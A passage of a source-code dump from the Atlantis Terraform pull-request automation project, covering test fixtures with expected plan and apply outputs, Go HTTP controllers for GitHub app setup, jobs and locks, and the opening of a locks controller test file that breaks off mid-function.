    "content": "Ran Plan for project: `staging` dir: `.` workspace: `default`\n\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.simple[0] will be created\n+ resource \"null_resource\" \"simple\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ var       = \"staging\"\n+ workspace = \"default\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -p staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -p staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/main.tf",
    "content": "terraform {\n  backend \"local\" {\n  }\n}\n\nresource \"null_resource\" \"simple\" {\n  count = 1\n}\n\nvariable \"var\" {\n}\n\noutput \"var\" {\n  value = var.var\n}\n\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.backend.tfvars",
    "content": "path = \"staging.tfstate\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/staging.tfvars",
    "content": "var = \"staging\""
  },
  {
    "path": "server/controllers/events/testdata/test-repos/tfvars-yaml-no-autoplan/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/atlantis.yaml",
    "content": "version: 3\nparallel_plan: false\nparallel_apply: true\nprojects:\n  - dir: production\n    workspace: production\n    autoplan:\n      when_modified: [\"**/*.tf*\"]\n  - dir: staging\n    workspace: staging\n    autoplan:\n      when_modified: [\"**/*.tf*\"]\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-production.txt",
    "content": "```diff\nnull_resource.this: Creating...\nnull_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"production\"\n```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-apply-all-staging.txt",
    "content": "```diff\nnull_resource.this: Creating...\nnull_resource.this: Creation complete after *s [id=*******************]\n\nApply complete! Resources: 1 added, 0 changed, 0 destroyed.\n\nOutputs:\n\nworkspace = \"staging\"\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-production.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `production` workspace: `production`\n1. dir: `staging` workspace: `staging`\n---\n\n### 1. dir: `production` workspace: `production`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"production\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d production -w production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d production -w production\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `staging` workspace: `staging`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging -w staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging -w staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-autoplan-staging.txt",
    "content": "Ran Plan for 2 projects:\n\n1. dir: `production` workspace: `production`\n1. dir: `staging` workspace: `staging`\n---\n\n### 1. dir: `production` workspace: `production`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"production\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d production -w production\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d production -w production\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### 2. dir: `staging` workspace: `staging`\n<details><summary>Show Output</summary>\n\n```diff\nTerraform used the selected providers to generate the following execution\nplan. Resource actions are indicated with the following symbols:\n+ create\n\nTerraform will perform the following actions:\n\n  # null_resource.this will be created\n+ resource \"null_resource\" \"this\" {\n      + id = (known after apply)\n    }\n\nPlan: 1 to add, 0 to change, 0 to destroy.\n\nChanges to Outputs:\n+ workspace = \"staging\"\n```\n</details>\n\n* :arrow_forward: To **apply** this plan, comment:\n  ```shell\n  atlantis apply -d staging -w staging\n  ```\n* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url)\n* :repeat: To **plan** this project again, comment:\n  ```shell\n  atlantis plan -d staging -w staging\n  ```\nPlan: 1 to add, 0 to change, 0 to destroy.\n\n---\n### Plan Summary\n\n2 projects, 2 with changes, 0 with no changes, 0 failed\n\n* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment:\n  ```shell\n  atlantis apply\n  ```\n* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment:\n  ```shell\n  atlantis unlock\n  ```"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/exp-output-merge.txt",
    "content": "Locks and plans deleted for the projects and workspaces modified in this pull request:\n\n- dir: `production` workspace: `production`\n- dir: `staging` workspace: `staging`\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/main.tf",
    "content": "resource \"null_resource\" \"this\" {\n}\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/production/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/main.tf",
    "content": "resource \"null_resource\" \"this\" {\n}\noutput \"workspace\" {\n  value = terraform.workspace\n}\n"
  },
  {
    "path": "server/controllers/events/testdata/test-repos/workspace-parallel-yaml/staging/versions.tf",
    "content": "terraform {\n  required_providers {\n    null = {\n      source  = \"hashicorp/null\"\n      version = \"3.2.4\"\n    }\n  }\n}\n"
  },
  {
    "path": "server/controllers/github_app_controller.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs/github\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// GithubAppController handles the creation and setup of a new GitHub app\ntype GithubAppController struct {\n\tAtlantisURL         *url.URL              `validate:\"required\"`\n\tLogger              logging.SimpleLogging `validate:\"required\"`\n\tGithubSetupComplete bool\n\tGithubHostname      string `validate:\"required\"`\n\tGithubOrg           string\n}\n\ntype githubWebhook struct {\n\tURL    string `json:\"url\"`\n\tActive bool   `json:\"active\"`\n}\n\n// githubAppRequest contains the query parameters for\n// https://developer.github.com/apps/building-github-apps/creating-github-apps-from-a-manifest\ntype githubAppRequest struct {\n\tDescription string            `json:\"description\"`\n\tEvents      []string          `json:\"default_events\"`\n\tName        string            `json:\"name\"`\n\tPermissions map[string]string `json:\"default_permissions\"`\n\tPublic      bool              `json:\"public\"`\n\tRedirectURL string            `json:\"redirect_url\"`\n\tURL         string            `json:\"url\"`\n\tWebhook     *githubWebhook    `json:\"hook_attributes\"`\n}\n\n// ExchangeCode handles the user coming back from creating their app\n// A code query parameter is exchanged for this app's ID, key, and webhook_secret\n// Implements https://developer.github.com/apps/building-github-apps/creating-github-apps-from-a-manifest/#implementing-the-github-app-manifest-flow\nfunc (g *GithubAppController) ExchangeCode(w http.ResponseWriter, r *http.Request) {\n\n\tif g.GithubSetupComplete {\n\t\tg.respond(w, logging.Error, http.StatusBadRequest, \"Atlantis already has GitHub credentials\")\n\t\treturn\n\t}\n\n\tcode := r.URL.Query().Get(\"code\")\n\tif code == \"\" {\n\t\tg.respond(w, logging.Debug, http.StatusOK, \"Ignoring callback, missing code query parameter\")\n\t}\n\n\tg.Logger.Debug(\"Exchanging GitHub app code for app credentials\")\n\tcreds := &github.AnonymousCredentials{}\n\tconfig := github.Config{}\n\t// This client does not post comments, so we don't need to configure it with maxCommentsPerCommand.\n\tclient, err := github.New(g.GithubHostname, creds, config, 0, g.Logger)\n\tif err != nil {\n\t\tg.respond(w, logging.Error, http.StatusInternalServerError, \"Failed to exchange code for github app: %s\", err)\n\t\treturn\n\t}\n\n\tapp, err := client.ExchangeCode(g.Logger, code)\n\tif err != nil {\n\t\tg.respond(w, logging.Error, http.StatusInternalServerError, \"Failed to exchange code for github app: %s\", err)\n\t\treturn\n\t}\n\n\tg.Logger.Debug(\"Found credentials for GitHub app %q with id %d\", app.Name, app.ID)\n\n\terr = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{\n\t\tTarget:          \"\",\n\t\tManifest:        \"\",\n\t\tID:              app.ID,\n\t\tKey:             app.Key,\n\t\tWebhookSecret:   app.WebhookSecret,\n\t\tURL:             app.URL,\n\t\tCleanedBasePath: g.AtlantisURL.Path,\n\t})\n\tif err != nil {\n\t\tg.Logger.Err(err.Error())\n\t}\n}\n\n// New redirects the user to create a new GitHub app\nfunc (g *GithubAppController) New(w http.ResponseWriter, _ *http.Request) {\n\n\tif g.GithubSetupComplete {\n\t\tg.respond(w, logging.Error, http.StatusBadRequest, \"Atlantis already has GitHub credentials\")\n\t\treturn\n\t}\n\n\tmanifest := &githubAppRequest{\n\t\tName:        fmt.Sprintf(\"Atlantis for %s\", g.AtlantisURL.Hostname()),\n\t\tDescription: fmt.Sprintf(\"Terraform Pull Request Automation at %s\", g.AtlantisURL),\n\t\tURL:         g.AtlantisURL.String(),\n\t\tRedirectURL: fmt.Sprintf(\"%s/github-app/exchange-code\", g.AtlantisURL),\n\t\tPublic:      false,\n\t\tWebhook: &githubWebhook{\n\t\t\tActive: true,\n\t\t\tURL:    fmt.Sprintf(\"%s/events\", g.AtlantisURL),\n\t\t},\n\t\tEvents: []string{\n\t\t\t\"check_run\",\n\t\t\t\"create\",\n\t\t\t\"delete\",\n\t\t\t\"issue_comment\",\n\t\t\t\"issues\",\n\t\t\t\"pull_request_review_comment\",\n\t\t\t\"pull_request_review\",\n\t\t\t\"pull_request\",\n\t\t\t\"push\",\n\t\t},\n\t\tPermissions: map[string]string{\n\t\t\t\"checks\":           \"write\",\n\t\t\t\"contents\":         \"write\",\n\t\t\t\"issues\":           \"write\",\n\t\t\t\"pull_requests\":    \"write\",\n\t\t\t\"repository_hooks\": \"write\",\n\t\t\t\"statuses\":         \"write\",\n\t\t\t\"administration\":   \"read\",\n\t\t\t\"members\":          \"read\",\n\t\t\t\"actions\":          \"read\",\n\t\t},\n\t}\n\n\turl := &url.URL{\n\t\tScheme: \"https\",\n\t\tHost:   g.GithubHostname,\n\t\tPath:   \"/settings/apps/new\",\n\t}\n\n\t// https://developer.github.com/apps/building-github-apps/creating-github-apps-using-url-parameters/#about-github-app-url-parameters\n\tif g.GithubOrg != \"\" {\n\t\turl.Path = fmt.Sprintf(\"organizations/%s%s\", g.GithubOrg, url.Path)\n\t}\n\n\tjsonManifest, err := json.MarshalIndent(manifest, \"\", \" \")\n\tif err != nil {\n\t\tg.respond(w, logging.Error, http.StatusBadRequest, \"Failed to serialize manifest: %s\", err)\n\t\treturn\n\t}\n\n\terr = web_templates.GithubAppSetupTemplate.Execute(w, web_templates.GithubSetupData{\n\t\tTarget:   url.String(),\n\t\tManifest: string(jsonManifest),\n\t})\n\tif err != nil {\n\t\tg.Logger.Err(err.Error())\n\t}\n}\n\nfunc (g *GithubAppController) respond(w http.ResponseWriter, lvl logging.LogLevel, code int, format string, args ...any) {\n\tresponse := fmt.Sprintf(format, args...)\n\tg.Logger.Log(lvl, response)\n\tw.WriteHeader(code)\n\tfmt.Fprintln(w, response)\n}\n"
  },
  {
    "path": "server/controllers/jobs_controller.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\t\"github.com/runatlantis/atlantis/server/controllers/websocket\"\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t\"github.com/runatlantis/atlantis/server/metrics\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\ntype JobIDKeyGenerator struct{}\n\nfunc (g JobIDKeyGenerator) Generate(r *http.Request) (string, error) {\n\tjobID, ok := mux.Vars(r)[\"job-id\"]\n\tif !ok {\n\t\treturn \"\", fmt.Errorf(\"internal error: no job-id in route\")\n\t}\n\n\treturn jobID, nil\n}\n\ntype JobsController struct {\n\tAtlantisVersion          string                       `validate:\"required\"`\n\tAtlantisURL              *url.URL                     `validate:\"required\"`\n\tLogger                   logging.SimpleLogging        `validate:\"required\"`\n\tProjectJobsTemplate      web_templates.TemplateWriter `validate:\"required\"`\n\tProjectJobsErrorTemplate web_templates.TemplateWriter `validate:\"required\"`\n\tDatabase                 db.Database                  `validate:\"required\"`\n\tWsMux                    *websocket.Multiplexor       `validate:\"required\"`\n\tKeyGenerator             JobIDKeyGenerator\n\tStatsScope               tally.Scope `validate:\"required\"`\n}\n\nfunc (j *JobsController) getProjectJobs(w http.ResponseWriter, r *http.Request) error {\n\tjobID, err := j.KeyGenerator.Generate(r)\n\n\tif err != nil {\n\t\tj.respond(w, logging.Error, http.StatusBadRequest, \"%s\", err.Error())\n\t\treturn err\n\t}\n\n\tviewData := web_templates.ProjectJobData{\n\t\tAtlantisVersion: j.AtlantisVersion,\n\t\tProjectPath:     jobID,\n\t\tCleanedBasePath: j.AtlantisURL.Path,\n\t}\n\n\treturn j.ProjectJobsTemplate.Execute(w, viewData)\n}\n\nfunc (j *JobsController) GetProjectJobs(w http.ResponseWriter, r *http.Request) {\n\terrorCounter := j.StatsScope.SubScope(\"getprojectjobs\").Counter(metrics.ExecutionErrorMetric)\n\terr := j.getProjectJobs(w, r)\n\tif err != nil {\n\t\tj.Logger.Err(err.Error())\n\t\terrorCounter.Inc(1)\n\t}\n}\n\nfunc (j *JobsController) getProjectJobsWS(w http.ResponseWriter, r *http.Request) error {\n\terr := j.WsMux.Handle(w, r)\n\n\tif err != nil {\n\t\tj.respond(w, logging.Error, http.StatusInternalServerError, \"%s\", err.Error())\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc (j *JobsController) GetProjectJobsWS(w http.ResponseWriter, r *http.Request) {\n\tjobsMetric := j.StatsScope.SubScope(\"getprojectjobs\")\n\terrorCounter := jobsMetric.Counter(metrics.ExecutionErrorMetric)\n\texecutionTime := jobsMetric.Timer(metrics.ExecutionTimeMetric).Start()\n\tdefer executionTime.Stop()\n\n\terr := j.getProjectJobsWS(w, r)\n\n\tif err != nil {\n\t\terrorCounter.Inc(1)\n\t}\n}\n\nfunc (j *JobsController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) {\n\tresponse := fmt.Sprintf(format, args...)\n\tj.Logger.Log(lvl, response)\n\tw.WriteHeader(responseCode)\n\tfmt.Fprintln(w, response)\n}\n"
  },
  {
    "path": "server/controllers/locks_controller.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\n\t\"github.com/gorilla/mux\"\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// LocksController handles all requests relating to Atlantis locks.\ntype LocksController struct {\n\tAtlantisVersion    string                       `validate:\"required\"`\n\tAtlantisURL        *url.URL                     `validate:\"required\"`\n\tLocker             locking.Locker               `validate:\"required\"`\n\tLogger             logging.SimpleLogging        `validate:\"required\"`\n\tApplyLocker        locking.ApplyLocker          `validate:\"required\"`\n\tVCSClient          vcs.Client                   `validate:\"required\"`\n\tLockDetailTemplate web_templates.TemplateWriter `validate:\"required\"`\n\tWorkingDir         events.WorkingDir            `validate:\"required\"`\n\tWorkingDirLocker   events.WorkingDirLocker      `validate:\"required\"`\n\tDatabase           db.Database                  `validate:\"required\"`\n\tDeleteLockCommand  events.DeleteLockCommand     `validate:\"required\"`\n}\n\n// LockApply handles creating a global apply lock.\n// If Lock already exists it will be a no-op\nfunc (l *LocksController) LockApply(w http.ResponseWriter, _ *http.Request) {\n\tlock, err := l.ApplyLocker.LockApply()\n\tif err != nil {\n\t\tl.respond(w, logging.Error, http.StatusInternalServerError, \"creating apply lock failed with: %s\", err)\n\t\treturn\n\t}\n\n\tl.respond(w, logging.Info, http.StatusOK, \"Apply Lock is acquired on %s\", lock.Time.Format(\"2006-01-02 15:04:05\"))\n}\n\n// UnlockApply handles releasing a global apply lock.\n// If Lock doesn't exists it will be a no-op\nfunc (l *LocksController) UnlockApply(w http.ResponseWriter, _ *http.Request) {\n\terr := l.ApplyLocker.UnlockApply()\n\tif err != nil {\n\t\tl.respond(w, logging.Error, http.StatusInternalServerError, \"deleting apply lock failed with: %s\", err)\n\t\treturn\n\t}\n\n\tl.respond(w, logging.Info, http.StatusOK, \"Deleted apply lock\")\n}\n\n// GetLock is the GET /locks/{id} route. It renders the lock detail view.\nfunc (l *LocksController) GetLock(w http.ResponseWriter, r *http.Request) {\n\tid, ok := mux.Vars(r)[\"id\"]\n\tif !ok {\n\t\tl.respond(w, logging.Warn, http.StatusBadRequest, \"No lock id in request\")\n\t\treturn\n\t}\n\n\tidUnencoded, err := url.QueryUnescape(id)\n\tif err != nil {\n\t\tl.respond(w, logging.Warn, http.StatusBadRequest, \"Invalid lock id: %s\", err)\n\t\treturn\n\t}\n\tlock, err := l.Locker.GetLock(idUnencoded)\n\tif err != nil {\n\t\tl.respond(w, logging.Error, http.StatusInternalServerError, \"Failed getting lock: %s\", err)\n\t\treturn\n\t}\n\tif lock == nil {\n\t\tl.respond(w, logging.Info, http.StatusNotFound, \"No lock found at id '%s'\", idUnencoded)\n\t\treturn\n\t}\n\n\towner, repo := models.SplitRepoFullName(lock.Project.RepoFullName)\n\tviewData := web_templates.LockDetailData{\n\t\tLockKeyEncoded:  id,\n\t\tLockKey:         idUnencoded,\n\t\tPullRequestLink: lock.Pull.URL,\n\t\tLockedBy:        lock.Pull.Author,\n\t\tWorkspace:       lock.Workspace,\n\t\tAtlantisVersion: l.AtlantisVersion,\n\t\tCleanedBasePath: l.AtlantisURL.Path,\n\t\tRepoOwner:       owner,\n\t\tRepoName:        repo,\n\t}\n\n\terr = l.LockDetailTemplate.Execute(w, viewData)\n\tif err != nil {\n\t\tl.Logger.Err(err.Error())\n\t}\n}\n\n// DeleteLock handles deleting the lock at id and commenting back on the\n// pull request that the lock has been deleted.\nfunc (l *LocksController) DeleteLock(w http.ResponseWriter, r *http.Request) {\n\tid, ok := mux.Vars(r)[\"id\"]\n\tif !ok || id == \"\" {\n\t\tl.respond(w, logging.Warn, http.StatusBadRequest, \"No lock id in request\")\n\t\treturn\n\t}\n\n\tidUnencoded, err := url.PathUnescape(id)\n\tif err != nil {\n\t\tl.respond(w, logging.Warn, http.StatusBadRequest, \"Invalid lock id '%s'. Failed with error: '%s'\", id, err)\n\t\treturn\n\t}\n\n\tlock, err := l.DeleteLockCommand.DeleteLock(l.Logger, idUnencoded)\n\tif err != nil {\n\t\tl.respond(w, logging.Error, http.StatusInternalServerError, \"deleting lock failed with: '%s'\", err)\n\t\treturn\n\t}\n\n\tif lock == nil {\n\t\tl.respond(w, logging.Info, http.StatusNotFound, \"No lock found at id '%s'\", idUnencoded)\n\t\treturn\n\t}\n\n\t// NOTE: Because BaseRepo was added to the PullRequest model later, previous\n\t// installations of Atlantis will have locks in their DB that do not have\n\t// this field on PullRequest. We skip commenting in this case.\n\tif lock.Pull.BaseRepo != (models.Repo{}) {\n\t\tif err := l.Database.UpdateProjectStatus(lock.Pull, lock.Workspace, lock.Project.Path, models.DiscardedPlanStatus); err != nil {\n\t\t\tl.Logger.Err(\"unable to update project status: %s\", err)\n\t\t}\n\n\t\t// Once the lock has been deleted, comment back on the pull request.\n\t\tcomment := fmt.Sprintf(\"**Warning**: The plan for dir: `%s` workspace: `%s` was **discarded** via the Atlantis UI.\\n\\n\"+\n\t\t\t\"To `apply` this plan you must run `plan` again.\", lock.Project.Path, lock.Workspace)\n\t\tif err = l.VCSClient.CreateComment(l.Logger, lock.Pull.BaseRepo, lock.Pull.Num, comment, \"\"); err != nil {\n\t\t\tl.Logger.Warn(\"failed commenting on pull request: %s\", err)\n\t\t}\n\t} else {\n\t\tl.Logger.Debug(\"skipping commenting on pull request and deleting workspace because BaseRepo field is empty\")\n\t}\n\tl.respond(w, logging.Info, http.StatusOK, \"Deleted lock id '%s'\", id)\n}\n\n// respond is a helper function to respond and log the response. lvl is the log\n// level to log at, code is the HTTP response code.\nfunc (l *LocksController) respond(w http.ResponseWriter, lvl logging.LogLevel, responseCode int, format string, args ...any) {\n\tresponse := fmt.Sprintf(format, args...)\n\tl.Logger.Log(lvl, response)\n\tw.WriteHeader(responseCode)\n\tfmt.Fprintln(w, response)\n}\n"
  },
  {
    "path": "server/controllers/locks_controller_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage controllers_test\n\nimport (\n\t\"bytes\"\n\t\"errors\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"net/url\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/runatlantis/atlantis/server/controllers\"\n\t\"github.com/runatlantis/atlantis/server/controllers/web_templates\"\n\ttMocks \"github.com/runatlantis/atlantis/server/controllers/web_templates/mocks\"\n\t\"github.com/runatlantis/atlantis/server/core/boltdb\"\n\t\"github.com/runatlantis/atlantis/server/core/db\"\n\t\"github.com/runatlantis/atlantis/server/core/locking\"\n\n\t\"github.com/gorilla/mux\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/events\"\n\n\t\"github.com/runatlantis/atlantis/server/core/locking/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\tmocks2 \"github.com/runatlantis/atlantis/server/events/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\tvcsmocks \"github.com/runatlantis/atlantis/server/events/vcs/mocks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n\t\"go.uber.org/mock/gomock\"\n)\n\nfunc TestCreateApplyLock(t *testing.T) {\n\tt.Run(\"Creates apply lock\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\t\tw := httptest.NewRecorder()\n\n\t\tlayout := \"2006-01-02T15:04:05.000Z\"\n\t\tstrLockTime := \"2020-09-01T00:45:26.371Z\"\n\t\texpLockTime := \"2020-09-01 00:45:26\"\n\t\tlockTime, _ := time.Parse(layout, strLockTime)\n\n\t\tctrl := gomock.NewController(t)\n\t\tl := mocks.NewMockApplyLocker(ctrl)\n\t\tl.EXPECT().LockApply().Return(locking.ApplyCommandLock{\n\t\t\tLocked: true,\n\t\t\tTime:   lockTime,\n\t\t}, nil)\n\n\t\tlc := controllers.LocksController{\n\t\t\tLogger:      logging.NewNoopLogger(t),\n\t\t\tApplyLocker: l,\n\t\t}\n\t\tlc.LockApply(w, req)\n\n\t\tResponseContains(t, w, http.StatusOK, fmt.Sprintf(\"Apply Lock is acquired on %s\", expLockTime))\n\t})\n\n\tt.Run(\"Apply lock creation fails\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\t\tw := httptest.NewRecorder()\n\n\t\tctrl := gomock.NewController(t)\n\t\tl := mocks.NewMockApplyLocker(ctrl)\n\t\tl.EXPECT().LockApply().Return(locking.ApplyCommandLock{\n\t\t\tLocked: false,\n\t\t}, errors.New(\"failed to acquire lock\"))\n\n\t\tlc := controllers.LocksController{\n\t\t\tLogger:      logging.NewNoopLogger(t),\n\t\t\tApplyLocker: l,\n\t\t}\n\t\tlc.LockApply(w, req)\n\n\t\tResponseContains(t, w, http.StatusInternalServerError, \"creating apply lock failed with: failed to acquire lock\")\n\t})\n}\n\nfunc TestUnlockApply(t *testing.T) {\n\tt.Run(\"Apply lock deleted successfully\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\t\tw := httptest.NewRecorder()\n\n\t\tctrl := gomock.NewController(t)\n\t\tl := mocks.NewMockApplyLocker(ctrl)\n\t\tl.EXPECT().UnlockApply().Return(nil)\n\n\t\tlc := controllers.LocksController{\n\t\t\tLogger:      logging.NewNoopLogger(t),\n\t\t\tApplyLocker: l,\n\t\t}\n\t\tlc.UnlockApply(w, req)\n\n\t\tResponseContains(t, w, http.StatusOK, \"Deleted apply lock\")\n\t})\n\n\tt.Run(\"Apply lock deletion failed\", func(t *testing.T) {\n\t\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\t\tw := httptest.NewRecorder()\n\n\t\tctrl := gomock.NewController(t)\n\t\tl := mocks.NewMockApplyLocker(ctrl)\n\t\tl.EXPECT().UnlockApply().Return(errors.New(\"failed to delete lock\"))\n\n\t\tlc := controllers.LocksController{\n\t\t\tLogger:      logging.NewNoopLogger(t),\n\t\t\tApplyLocker: l,\n\t\t}\n\t\tlc.UnlockApply(w, req)\n\n\t\tResponseContains(t, w, http.StatusInternalServerError, \"deleting apply lock failed with: failed to delete lock\")\n\t})\n}\n\nfunc TestGetLockRoute_NoLockID(t *testing.T) {\n\tt.Log(\"If there is no lock ID in the request then we should get a 400\")\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\tw := httptest.NewRecorder()\n\tlc := controllers.LocksController{\n\t\tLogger: logging.NewNoopLogger(t),\n\t}\n\tlc.GetLock(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"No lock id in request\")\n}\n\nfunc TestGetLock_InvalidLockID(t *testing.T) {\n\tt.Log(\"If the lock ID is invalid then we should get a 400\")\n\tlc := controllers.LocksController{\n\t\tLogger: logging.NewNoopLogger(t),\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"%A@\"})\n\tw := httptest.NewRecorder()\n\tlc.GetLock(w, req)\n\tResponseContains(t, w, http.StatusBadRequest, \"Invalid lock id\")\n}\n\nfunc TestGetLock_LockerErr(t *testing.T) {\n\tt.Log(\"If there is an error retrieving the lock, a 500 is returned\")\n\tctrl := gomock.NewController(t)\n\tl := mocks.NewMockLocker(ctrl)\n\tl.EXPECT().GetLock(\"id\").Return(nil, errors.New(\"err\"))\n\tlc := controllers.LocksController{\n\t\tLogger: logging.NewNoopLogger(t),\n\t\tLocker: l,\n\t}\n\treq, _ := http.NewRequest(\"GET\", \"\", bytes.NewBuffer(nil))\n\treq = mux.SetURLVars(req, map[string]string{\"id\": \"id\"})\n\tw := httptest.NewRecorder()\n\tlc.GetLock(w, 